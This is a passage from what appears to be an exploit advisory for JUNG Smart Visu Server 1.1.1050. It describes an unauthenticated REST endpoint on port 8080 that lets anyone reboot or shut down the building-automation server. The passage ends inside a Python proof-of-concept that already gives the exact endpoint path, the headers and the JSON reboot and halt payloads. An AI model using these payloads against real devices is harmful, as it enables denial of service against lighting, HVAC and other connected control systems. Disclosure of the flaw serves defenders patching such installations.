[+] Summary : A security vulnerability in JUNG Smart Visu Server version 1.1.1050 allows unauthenticated remote attackers to trigger a system reboot or shutdown via a crafted HTTP POST request to a publicly exposed REST API endpoint.
The affected endpoint fails to enforce authentication and authorization controls, permitting direct execution of critical system control commands.
An attacker with network access to the device (default port 8080) can send a single request to disrupt availability, resulting in a denial of service (DoS).
Successful exploitation may cause service interruption in building automation environments, potentially affecting lighting, HVAC, and other connected control systems.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import argparse
ENDPOINT = "/rest/items/liteserver_LiteServer_1_systemControl"
HEADERS = {
"User-Agent": "thricer-engine/1.6",
"Content-Type": "application/json"
}
COMMANDS = {
"reboot": '{"MSG_ID_TYPE":"MSG_REBOOT_REQ"}',
"shutdown": '{"MSG_ID_TYPE":"MSG_HALT_REQ"}'
